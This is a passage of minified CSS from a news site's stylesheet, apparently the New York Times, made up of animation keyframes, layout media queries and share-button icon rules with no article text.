translate(-22.670000076293945px,0px) translate(0px,10px);}100%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,30px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,30px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,30px);}}@keyframes animation-amd09y{0%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,15px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,15px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);}100%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,30px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,30px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,30px);}}@-webkit-keyframes animation-ru1vxe{0%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,15px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,15px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);}100%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,30px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,30px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,30px);}}@keyframes animation-ru1vxe{0%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,15px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,15px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);}100%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,30px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,30px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,30px);}}@-webkit-keyframes animation-ajnadh{0%{-webkit-transform:translate(34px,0px) scale(1,0.85) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.85) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.85) translate(-34px,0px);}33.33%{-webkit-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);}100%{-webkit-transform:translate(34px,0px) scale(1,0.1) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.1) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.1) translate(-34px,0px);}}@keyframes animation-ajnadh{0%{-webkit-transform:translate(34px,0px) scale(1,0.85) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.85) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.85) translate(-34px,0px);}33.33%{-webkit-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);}100%{-webkit-transform:translate(34px,0px) scale(1,0.1) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.1) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.1) translate(-34px,0px);}}.css-1ri25x2{display:none;}@media (min-width:740px){.css-1ri25x2{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;width:16px;height:31px;}}@media (min-width:1024px){.css-1ri25x2{display:none;}}.css-12fr9lp{height:23px;margin-top:6px;}.css-1hfdzay{display:none;}@media (min-width:1024px){.css-1hfdzay{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-top:0;}}.css-4g4cvq{display:none;}@media (min-width:740px){.css-4g4cvq{position:fixed;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;opacity:0;z-index:1;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;width:100%;height:32.063px;background:white;padding:5px 0;top:0;text-align:center;font-family:nyt-cheltenham,georgia,'times new roman',times,serif;box-shadow:rgba(0,0,0,0.08) 0 0 5px 1px;border-bottom:1px solid #e2e2e2;}}.css-m6xlts{margin-left:20px;margin-right:20px;max-width:1605px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;position:relative;width:100%;}@media (min-width:1360px){.css-m6xlts{margin-left:20px;margin-right:20px;}}@media (min-width:1780px){.css-m6xlts{margin-left:auto;margin-right:auto;}}.css-1ahhg7f{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;max-width:1605px;overflow:hidden;position:absolute;width:56%;margin-left:calc((100% - 56%) / 2);}@media (min-width:1024px){.css-1ahhg7f{width:56%;margin-left:calc((100% - 56%) / 2);}}@media (min-width:1024px){.css-1ahhg7f{width:53%;margin-left:calc((100% - 53%) / 2);}}.css-fwqvlz{font-family:nyt-cheltenham-small,georgia,'times new roman';font-weight:400;font-size:13px;-webkit-letter-spacing:0.015em;-moz-letter-spacing:0.015em;-ms-letter-spacing:0.015em;letter-spacing:0.015em;margin-top:10.5px;margin-right:auto;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;}.css-17xtcya{font-family:nyt-franklin,helvetica,arial,sans-serif;font-weight:700;font-size:12.5px;text-transform:uppercase;-webkit-letter-spacing:0;-moz-letter-spacing:0;-ms-letter-spacing:0;letter-spacing:0;margin-top:12.5px;margin-bottom:auto;margin-left:auto;white-space:nowrap;}.css-17xtcya:hover{-webkit-text-decoration:underline;text-decoration:underline;}.css-x15j1o{display:inline-block;padding-left:7px;padding-right:7px;font-size:13px;margin-top:10px;margin-bottom:auto;color:#ccc;}.css-1705lsu{margin-top:auto;margin-bottom:auto;margin-left:auto;background-color:#fff;z-index:50;box-shadow:-14px 2px 7px -2px rgba(255,255,255,0.7);}@media (min-width:740px){.css-1iwv8en{margin-top:1px;}}@media (min-width:1024px){.css-1iwv8en{margin-top:0;}}@-webkit-keyframes animation-b7n1on{0%{-webkit-transform:rotate(0deg);-ms-transform:rotate(0deg);transform:rotate(0deg);}100%{-webkit-transform:rotate(360deg);-ms-transform:rotate(360deg);transform:rotate(360deg);}}@keyframes animation-b7n1on{0%{-webkit-transform:rotate(0deg);-ms-transform:rotate(0deg);transform:rotate(0deg);}100%{-webkit-transform:rotate(360deg);-ms-transform:rotate(360deg);transform:rotate(360deg);}}@-webkit-keyframes animation-1b9egsl{0%{-webkit-transform:rotate(20deg);-ms-transform:rotate(20deg);transform:rotate(20deg);}100%{-webkit-transform:rotate(380deg);-ms-transform:rotate(380deg);transform:rotate(380deg);}}@keyframes animation-1b9egsl{0%{-webkit-transform:rotate(20deg);-ms-transform:rotate(20deg);transform:rotate(20deg);}100%{-webkit-transform:rotate(380deg);-ms-transform:rotate(380deg);transform:rotate(380deg);}}.css-1rj8to8{display:inline-block;line-height:1em;}.css-1rj8to8 .css-0{-webkit-text-decoration:none;text-decoration:none;display:inline-block;}.css-4w91ra{display:inline-block;padding-left:3px;}.css-wg1cha{margin-left:20px;margin-right:20px;}@media (min-width:600px){.css-wg1cha{width:calc(100% - 40px);max-width:600px;margin:1.5rem auto 1em;}}@media (min-width:1440px){.css-wg1cha{width:600px;max-width:600px;margin:1.5rem auto 1em;}}.css-1ubp8k9{font-family:nyt-imperial,georgia,'times new roman',times,serif;font-style:italic;font-size:1.0625rem;line-height:1.5rem;width:calc(100% - 40px);max-width:600px;margin:1rem auto 0.75rem;}@media (min-width:740px){.css-1ubp8k9{font-size:1.1875rem;line-height:1.75rem;margin-bottom:1.25rem;}}@media (min-width:1440px){.css-1ubp8k9{width:600px;max-width:600px;}}@media print{.css-1ubp8k9{margin-left:0;margin-right:0;width:100%;max-width:100%;}}@-webkit-keyframes animation-1egl8em{from{opacity:0;-webkit-transform:translate3d(0,13%,0);-ms-transform:translate3d(0,13%,0);transform:translate3d(0,13%,0);}to{opacity:1;-webkit-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);transform:translate3d(0,0,0);}}@keyframes animation-1egl8em{from{opacity:0;-webkit-transform:translate3d(0,13%,0);-ms-transform:translate3d(0,13%,0);transform:translate3d(0,13%,0);}to{opacity:1;-webkit-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);transform:translate3d(0,0,0);}}.css-vdv0al{font-family:nyt-franklin,helvetica,arial,sans-serif;font-size:0.75rem;line-height:1rem;width:calc(100% - 40px);max-width:600px;margin:0 auto 1em;color:#999;}.css-vdv0al a{color:#999;-webkit-text-decoration:none;text-decoration:none;}.css-vdv0al a:hover{-webkit-text-decoration:underline;text-decoration:underline;}@media (min-width:1440px){.css-vdv0al{width:600px;max-width:600px;}}@media print{.css-vdv0al{margin-left:0;margin-right:0;width:100%;max-width:100%;}}@media print{.css-vdv0al span{display:none;}}.css-1i2y565 .e6idgb70 + .e1h9rw200{margin-top:0;}.css-1i2y565 .eoo0vm40 + .e1gnsphs0{margin-top:-0.3em;}.css-1i2y565 .e6idgb70 + .eoo0vm40{margin-top:0;}.css-1i2y565 .eoo0vm40 + figure{margin-top:1.2rem;}.css-1i2y565 .e1gnsphs0 + figure{margin-top:1.2rem;}.css-o6xoe7{display:none;}@media (min-width:1024px){.css-o6xoe7{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-right:0;margin-left:auto;width:130px;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}}@media (min-width:1150px){.css-o6xoe7{width:210px;}}@media print{.css-o6xoe7{display:none;}}.css-1fanzo5{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;margin-bottom:1rem;}@media (min-width:1024px){.css-1fanzo5{-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;height:100%;width:945px;margin-left:auto;margin-right:auto;}}@media (min-width:1150px){.css-1fanzo5{width:1110px;margin-left:auto;margin-right:auto;}}@media (min-width:1280px){.css-1fanzo5{width:1170px;}}@media (min-width:1440px){.css-1fanzo5{width:1200px;}}@media print{.css-1fanzo5{margin-left:0;margin-right:0;width:100%;max-width:100%;}}@media print{.css-1fanzo5{margin-bottom:1em;display:block;}}.css-53u6y8{margin-left:auto;margin-right:auto;width:100%;}@media (min-width:1024px){.css-53u6y8{margin-left:calc((100% - 600px) / 2);margin-right:0;width:600px;}}@media (min-width:1440px){.css-53u6y8{max-width:600px;width:600px;margin-left:calc((100% - 600px) / 2);}}@media print{.css-53u6y8{margin-left:0;margin-right:0;width:100%;max-width:100%;}}.css-1m50asq{width:100%;vertical-align:top;}.css-z3e15g{position:fixed;opacity:0;-webkit-scroll-events:none;-moz-scroll-events:none;-ms-scroll-events:none;scroll-events:none;top:0;left:0;bottom:0;right:0;-webkit-transition:opacity 0.2s;transition:opacity 0.2s;background-color:#fff;pointer-events:none;}.css-uwwqev{width:100%;height:100%;}.css-1ly73wi{position:absolute;width:1px;height:1px;margin:-1px;padding:0;border:0;-webkit-clip:rect(0 0 0 0);clip:rect(0 0 0 0);overflow:hidden;}@-webkit-keyframes animation-7y3qfv{0%{opacity:0;}10%,90%{opacity:1;}100%{opacity:0;}}@keyframes animation-7y3qfv{0%{opacity:0;}10%,90%{opacity:1;}100%{opacity:0;}}.css-l72opv{color:#999;display:inline;margin-right:16px;padding:10px 0;width:100%;position:relative;right:3px;}.css-l72opv a{-webkit-text-decoration:none;text-decoration:none;}@media (max-width:659px){.css-l72opv:nth-of-type(3),.css-l72opv:nth-of-type(4){display:none;}}.css-l72opv:last-of-type{margin-right:0;}.css-4skfbu{color:#999;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;font-family:nyt-franklin,helvetica,arial,sans-serif;font-size:17px;margin-bottom:5px;margin-bottom:0;}@media print{.css-4skfbu{display:none;}}.css-1fcn4th{color:#999;display:inline;margin-right:16px;padding:10px 0;width:100%;}.css-1fcn4th a{-webkit-text-decoration:none;text-decoration:none;}@media (max-width:659px){.css-1fcn4th:nth-of-type(3),.css-1fcn4th:nth-of-type(4){display:none;}}.css-1fcn4th:last-of-type{margin-right:0;}@media (max-width:1150px){.css-1fcn4th:nth-of-type(1),.css-1fcn4th:nth-of-type(2),.css-1fcn4th:nth-of-type(3){display:none;}}.css-13zu7ev{display:inline-block;height:15px;vertical-align:middle;width:15px;background-color:#eee;border:1px #eee solid;border-radius:100%;padding:5px;width:14px;height:14px;}.css-13zu7ev.facebook{background-image:url(/vi-assets/static-assets/icon-fb-circle-2ec7780140bd9e8e8398bbcdf5661569.svg);}.css-13zu7ev.twitter{background-image:url(/vi-assets/static-assets/icon-twitter-circle-fc7c2748f5613c68963a0df203bffc05.svg);}.css-13zu7ev.email{background-image:url(/vi-assets/static-assets/icon-share-email-circle-a2acce7e23b21d47bb606b628a6c7e34.svg);}.css-13zu7ev.link{background-image:url(/vi-assets/static-assets/icon-share-permalink-circle-3ff3876a106221ee493d9542c0895863.svg);}.css-13zu7ev.linkedin{background-image:url(/vi-assets/static-assets/icon-share-linkedin-circle-4d7bcf236c5f3a086738746f41f46f7b.svg);}.css-13zu7ev.whatsapp{background-image:url(/vi-assets/static-assets/icon-whatsapp-video-a9503bf2b3c73111106c496d3ebc8c67.svg);}.css-13zu7ev.reddit{background-image:url(/vi-assets/static-assets/icon-share-reddit-f882338200fd1971b767627fa5f60124.svg);}.css-13zu7ev:hover{background-color:#fff;border:1px solid #ccc;}.css-f7l8cz{display:inline-block;height:15px;vertical-align:middle;width:15px;bottom:5px;position:relative;width:14px;height:14px;bottom:4px;}.css-f7l8cz.facebook{background-image:url(/vi-assets/static-assets/icon-fb-circle-2ec7780140bd9e8e8398bbcdf5661569.svg);}.css-f7l8cz.twitter{background-image:url(/vi-assets/static-assets/icon-twitter-circle-fc7c2748f5613c68963a0df203bffc05.svg);}.css-f7l8cz.email{background-image:url(/vi-assets/static-assets/icon-share-email-circle-a2acce7e23b21d47bb606b628a6c7e34.svg);}.css-f7l8cz.link{background-image:url(/vi-assets/static-assets/icon-share-permalink-circle-3ff3876a106221ee493d9542c0895863.svg);}.css-f7l8cz.linkedin{background-image:url(/vi-assets/static-assets/icon-share-linkedin-circle-4d7bcf236c5f3a086738746f41f46f7b.svg);}.css-f7l8cz.whatsapp{background-image:url(/vi-assets/static-assets/icon-whatsapp-video-a9503bf2b3c73111106c496d3ebc8c67.svg);}.css-f7l8cz.reddit{background-image:url(/vi-assets/static-assets/icon-share-reddit-f882338200fd1971b767627fa5f60124.svg);}.css-16ogagc{background:transparent;display:inline-block;height:20px;width:20px;background-color:#eee;border:1px #eee solid;border-radius:100%;padding:5px;width:27px;height:27px;}.css-16ogagc.hidden{opacity:0;visibility:hidden;}.css-16ogagc.hidden:focus{opacity:1;}.css-16ogagc:hover{background-color:#fff;border:1px solid #ccc;}.css-17ai7jg{color:#666;font-family:nyt-imperial,georgia,'times new roman',times,serif;margin:10px 20px 0;text-align:left;}.css-17ai7jg a{color:#326891;-webkit-text-decoration:none;text-decoration:none;}.css-17ai7jg a:hover,.css-17ai7jg a:focus{-webkit-text-decoration:underline;text-decoration:underline;}@media (min-width:600px){.css-17ai7jg{margin-left:0;}}.sizeSmall .css-17ai7jg{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;width:calc(50% - 15px);margin:auto 0 15px 15px;}@media (min-width:600px){.sizeSmall .css-17ai7jg{width:260px;margin-left:15px;}}@media (min-width:740px){.sizeSmall .css-17ai7jg{margin-left:15px;}}@media (min-width:1440px){.sizeSmall .css-17ai7jg{width:330px;margin-left:15px;}}@media (max-width:600px){.sizeSmall .css-17ai7jg{margin:auto 0 0 15px;}}.sizeSmall.sizeSmallNoCaption .css-17ai7jg{margin-left:auto;margin-right:auto;margin-top:10px;}.sizeMedium .css-17ai7jg{max-width:900px;}.sizeMedium.layoutVertical.verticalVideo .css-17ai7jg{margin-left:0;margin-right:0;}@media (min-width:600px){.sizeMedium.layoutVertical.verticalVideo .css-17ai7jg{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;width:255px;margin:auto 0 15px 15px;}}@media (min-width:1440px){.sizeMedium.layoutVertical.verticalVideo .css-17ai7jg{width:325px;}}.sizeLarge .css-17ai7jg{max-width:none;}@media (min-width:600px){.sizeLarge .css-17ai7jg{margin-left:20px;}}@media (min-width:740px){.sizeLarge .css-17ai7jg{margin-left:20px;max-width:900px;}}@media (min-width:1024px){.sizeLarge .css-17ai7jg{margin-left:0;max-width:720px;}}@media (min-width:1440px){.sizeLarge .css-17ai7jg{margin-left:0;max-width:900px;}}@media (min-width:740px){.sizeLarge.layoutVertical .css-17ai7jg{margin-left:0;}}.sizeFull .css-17ai7jg{margin-left:20px;}@media (min-width:600px){.sizeFull .css-17ai7jg{max-width:900px;}}@media (min-width:740px){.sizeFull .css-17ai7jg{max-width:900px;}}@media (min-width:1440px){.sizeFull .css-17ai7jg{max-width:900px;}}@media print{.css-17ai7jg{display:none;}}.css-8i9d0s{margin-right:7px;color:#666;font-family:nyt-imperial,georgia,'times new roman',times,serif;font-size:0.875rem;line-height:1.125rem;}@media (min-width:740px){.css-8i9d0s{font-size:0.9375rem;line-height:1.25rem;}}.css-8i9d0s strong{font-weight:700;}.css-8i9d0s em{font-style:italic;}.css-8i9d0s a{color:#326891;}.css-8i9d0s a:visited{color:#326891;}.css-1nwzsjy{display:inline-block;color:#888;font-family:nyt-imperial,georgia,'times new roman',times,serif;line-height:1.125rem;-webkit-letter-spacing:0.01em;-moz-letter-spacing:0.01em;-ms-letter-spacing:0.01em;letter-spacing:0.01em;font-size:0.75rem;}@media (min-width:740px){.css-1nwzsjy{font-size:0.75rem;}}@media (min-width:1150px){.css-1nwzsjy{font-size:0.8125rem;}}@media (min-width:600px){.sizeSmall.sizeSmallNoCaption .css-1nwzsjy{margin-left:5px;}}@media (min-width:1024px){.sizeSmall.sizeSmallNoCaption .css-1nwzsjy{margin-left:5px;}}@media (min-width:1440px){.sizeSmall.sizeSmallNoCaption .css-1nwzsjy{margin-left:40px;}}@media (max-width:600px){.sizeSmall.sizeSmallNoCaption .css-1nwzsjy{margin-left:-8px;}}@media print{.css-1nwzsjy{display:none;}}.css-10698na{text-align:center;}@media (min-width:740px){.css-10698na{padding-top:0;}}@media (min-width:1024px){}@media print{.css-10698na a[href]::after{content:'';}.css-10698na svg{fill:black;}}.css-nhjhh0{display:block;width:189px;height:26px;margin:5px auto 0;}@media (min-width:740px){.css-nhjhh0{width:225px;height:31px;margin:4px auto 0;}}@media (min-width:1024px){.css-nhjhh0{width:195px;height:26px;margin:6px auto 0;}}.css-1nuro5j{display:inline-block;-webkit-letter-spacing:0.02em;-moz-letter-spacing:0.02em;-ms-letter-spacing:0.02em;letter-spacing:0.02em;font-size:0.875rem;line-height:1.125rem;margin:0;font-family:nyt-franklin,helvetica,arial,sans-serif;font-weight:700;color:#333;}@media (min-width:740px){.css-1nuro5j{font-size:0.9375rem;line-height:1.25rem;}}.css-1w5cs23{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin:0;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;}.css-1w5cs23 li{list-style:none;}.css-4brsb6{display:inline-block;height:15px;vertical-align:middle;width:15px;background-color:#eee;border:1px #eee solid;border-radius:100%;padding:5px;width:15px;height:15px;}.css-4brsb6.facebook{background-image:url(/vi-assets/static-assets/icon-fb-circle-2ec7780140bd9e8e8398bbcdf5661569.svg);}.css-4brsb6.twitter{background-image:url(/vi-assets/static-assets/icon-twitter-circle-fc7c2748f5613c68963a0df203bffc05.svg);}.css-4brsb6.email{background-image:url(/vi-assets/static-assets/icon-share-email-circle-a2acce7e23b21d47bb606b628a6c7e34.svg);}.css-4brsb6.link{background-image:url(/vi-assets/static-assets/icon-share-permalink-circle-3ff3876a106221ee493d9542c0895863.svg);}.css-4brsb6.linkedin{background-image:url(/vi-assets/static-assets/icon-share-linkedin-circle-4d7bcf236c5f3a086738746f41f46f7b.svg);}.css-4brsb6.whatsapp{background-image:url(/vi-assets/static-assets/icon-whatsapp-video-a9503bf2b3c73111106c496d3ebc8c67.svg);}.css-4brsb6.reddit{background-image:url(/vi-assets/static-assets/icon-share-reddit-f882338200fd1971b767627fa5f60124.svg);}.css-4brsb6:hover{background-color:#fff;border:1px solid #ccc;}.css-uhuo44{display:inline-block;height:15px;vertical-align:middle;width:15px;bottom:5px;position:relative;width:15px;height:15px;bottom:4px;}.css-uhuo44.facebook{background-image:url(/vi-assets/static-assets/icon-fb-circle-2ec7780140bd9e8e8398bbcdf5661569.svg);}.css-uhuo44.twitter{background-image:url(/vi-assets/static-assets/icon-twitter-circle-fc7c2748f5613c68963a0df203bffc05.svg);}.css-uhuo44.email{background-image:url(/vi-assets/static-assets/icon-share-email-circle-a2acce7e23b21d47bb606b628a6c7e34.svg);}.css-uhuo44.link{background-image:url(/vi-assets/static-assets/icon-share-permalink-circle-3ff3876a106221ee493d9542c0895863.svg);}.css-uhuo44.linkedin{background-image:url(/vi-assets/static-assets/icon-share-linkedin-circle-4d7bcf236c5f3a086738746f41f46f7b.svg);}.css-uhuo44.whatsapp{background-image:url(/vi-assets/static-assets/icon-whatsapp-video-a9503bf2b3c73111106c496d3ebc8c67.svg);}.css-uhuo44.reddit{background-image:url(/vi-assets/static-assets/icon-share-reddit-f882338200fd1971b767627fa5f60124.svg);}.css-exrw3m{margin-bottom:0.78125rem;margin-top:0;font-family:nyt-imperial,georgia,'times new roman',times,serif;font-size:1.125rem;line-height:1.5625rem;margin-left:20px;margin-right:20px;width:calc(100% - 40px);max-width:600px;}@media (min-width:740px){.css-exrw3m{margin-bottom:0.9375rem;margin-top:0;}}.css-exrw3m .css-1g7m0tk{-webkit-text-decoration:underline;text-decoration:underline;}.css-exrw3m .css-1g7m0tk:hover,.css-exrw3m .css-1g7m0tk:focus{-webkit-text-decoration:none;text-decoration:none;}@media (min-width:740px){.css-exrw3m{font-size:1.25rem;line-height:1.875rem;}}.css-exrw3m:first-child{margin-top:0;}.css-exrw3m:last-child{margin-bottom:0;}.css-exrw3m.e1h9rw200:last-child{margin-bottom:0.75rem;}@media (min-width:600px){.css-exrw3m{margin-left:auto;margin-right:auto;}}@media (min-width:1024px){.css-exrw3m{margin-left:0;margin-right:0;width:100%;max-width:100%;}}@media print{.css-exrw3m{margin-left:0;margin-right:0;width:100%;max-width:100%;}}.css-1a48zt4{opacity:1;-webkit-transition:opacity 0.3s 0.2s;transition:opacity 0.3s 0.2s;}.css-vuqh7u{display:inline-block;color:#888;font-family:nyt-imperial,georgia,'times new roman',times,serif;line-height:1.125rem;-webkit-letter-spacing:0.01em;-moz-letter-spacing:0.01em;-ms-letter-spacing:0.01em;letter-spacing:0.01em;font-size:0.75rem;}@media (min-width:740px){.css-vuqh7u{font-size:0.75rem;}}@media (min-width:1150px){.css-vuqh7u{font-size:0.8125rem;}}.css-1l44abu{font-family:nyt-imperial,georgia,'times new roman',times,serif;color:#666;margin:10px 20px 0 20px;text-align:left;}.css-1l44abu a{color:#326891;-webkit-text-decoration:none;text-decoration:none;}.css-1l44abu a:hover,.css-1l44abu a:focus{-webkit-text-decoration:underline;text-decoration:underline;}@media (min-width:600px){.css-1l44abu{margin-left:0;margin-right:20px;}}@media (min-width:1440px){.css-1l44abu{max-width:px;}}.css-jcw7oy{width:100%;max-width:600px;margin:2.3125rem auto;}@media (min-width:600px){.css-jcw7oy{width:calc(100% - 40px);}}@media (min-width:740px){.css-jcw7oy{width:auto;max-width:600px;}}@media (min-width:1440px){.css-jcw7oy{max-width:720px;}}.css-jcw7oy strong{font-weight:700;}.css-jcw7oy em{font-style:italic;}@media (min-width:740px){.css-jcw7oy{margin:2.6875rem auto;}}.css-10raysz{color:#999;display:inline;margin-right:16px;padding:10px 0;width:100%;width:calc(100% - 40px);max-width:600px;padding:0 1rem 0 0;}.css-10raysz a{-webkit-text-decoration:none;text-decoration:none;}@media (max-width:659px){.css-10raysz:nth-of-type(3),.css-10raysz:nth-of-type(4){display:none;}}.css-10raysz:last-of-type{margin-right:0;}.css-10raysz:nth-of-type(1),.css-10raysz:nth-of-type(2),.css-10raysz:nth-of-type(3),.css-10raysz:nth-of-type(4){display:inline;}@media (min-width:600px){.css-10raysz{width:330px;}}.css-ar1l6a{color:#999;display:inline;margin-right:16px;padding:10px 0;width:100%;}.css-ar1l6a a{-webkit-text-decoration:none;text-decoration:none;}@media (max-width:659px){.css-ar1l6a:nth-of-type(3),.css-ar1l6a:nth-of-type(4){display:none;}}.css-ar1l6a:last-of-type{margin-right:0;}.css-ar1l6a:nth-of-type(1),.css-ar1l6a:nth-of-type(2),.css-ar1l6a:nth-of-type(3),.css-ar1l6a:nth-of-type(4){display:inline;}.css-1ede5it{background-color:#f7f7f7;border-bottom:1px solid #f3f3f3;border-top:1px solid #f3f3f3;margin:37px auto;padding-bottom:30px;padding-top:12px;text-align:center;margin-top:60px;}@media (min-width:740px){.css-1ede5it{margin:43px auto;}}@media print{.css-1ede5it{display:none;}}@media (min-width:740px){.css-1ede5it{margin-bottom:0;margin-top:0;}}.css-mn5hq9{cursor:pointer;margin:0;border-top:1px solid #ebebeb;color:#333;font-family:nyt-franklin;font-size:13px;font-weight:700;height:44px;-webkit-letter-spacing:0.04rem;-moz-letter-spacing:0.04rem;-ms-letter-spacing:0.04rem;letter-spacing:0.04rem;line-height:44px;text-transform:uppercase;}.accordionExpanded .css-mn5hq9{color:#b3b3b3;}.css-1qmnftd{font-size:11px;text-align:center;}@media (max-width:600px){.css-1qmnftd{padding-bottom:25px;}}@media (min-width:600px){.css-1qmnftd{padding-bottom:25px;}}@media (min-width:1024px){.css-1qmnftd{padding:0 3% 9px;}}@media (min-width:1150px){.css-1qmnftd{margin:0 auto;max-width:1200px;}}.NYTApp .css-1qmnftd{display:none;}@media print{.css-1qmnftd{display:none;}}.css-1ho5u4o{list-style:none;margin:0 0 15px;padding:0;}@media (min-width:600px){.css-1ho5u4o{display:inline-block;}}.css-13o0c9t{list-style:none;line-height:8px;margin:0 0 35px;padding:0;}@media (min-width:600px){.css-13o0c9t{display:inline-block;}}.css-1yo489b{display:inline-block;line-height:20px;padding:0 10px;}.css-1yo489b:first-child{border-left:none;}.css-1yo489b.desktop{display:none;}@media (min-width:740px){.css-1yo489b.smartphone{display:none;}.css-1yo489b.desktop{display:inline-block;}}.css-ulr03x{opacity:1;visibility:visible;-webkit-animation-name:animation-5j8bii;animation-name:animation-5j8bii;-webkit-animation-duration:300ms;animation-duration:300ms;-webkit-animation-delay:0ms;animation-delay:0ms;-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out;}@media print{.css-ulr03x{margin-bottom:15px;}}@media (min-width:1024px){.css-ulr03x{position:fixed;width:100%;top:0;left:0;z-index:200;background-color:#fff;border-bottom:none;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}}@media (min-width:1024px){.css-1bymuyk{position:relative;border-bottom:1px solid #e2e2e2;}}.css-1waixk9{background:#fff;border-bottom:1px solid #e2e2e2;height:36px;padding:8px 15px 3px;position:relative;}@media (min-width:740px){.css-1waixk9{background:#fff;padding:10px 15px 6px;}}@media (min-width:1024px){.css-1waixk9{background:transparent;border-bottom:0;padding:4px 15px 2px;}}@media print{.css-1waixk9{background:transparent;}}@media (min-width:740px){}@media (min-width:1024px){.css-1waixk9{margin:0 auto;max-width:1605px;}}.css-1f7ibof{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:space-around;-webkit-justify-content:space-around;-ms-flex-pack:space-around;justify-content:space-around;left:10px;position:absolute;}@media (min-width:1024px){}@media print{.css-1f7ibof{display:none;}}.css-l2ztic{border-radius:3px;cursor:pointer;font-family:nyt-franklin,helvetica,arial,sans-serif;-webkit-transition:ease 0.6s;transition:ease 0.6s;background-color:transparent;color:#000;font-size:11px;font-weight:700;-webkit-letter-spacing:0.02em;-moz-letter-spacing:0.02em;-ms-letter-spacing:0.02em;letter-spacing:0.02em;padding:7px 9px 9px;border:0;padding:8px 9px;text-transform:uppercase;}.css-l2ztic.hidden{opacity:0;visibility:hidden;}.css-l2ztic.hidden:focus{opacity:1;}.css-l2ztic::-moz-focus-inner{padding:0;border:0;}.css-l2ztic:-moz-focusring{outline:1px dotted;}.css-l2ztic:disabled,.css-l2ztic.disabled{opacity:0.5;cursor:default;}.css-l2ztic:active,.css-l2ztic.active{background-color:#f7f7f7;}@media (min-width:740px){.css-l2ztic:hover{background-color:#f7f7f7;}}@media 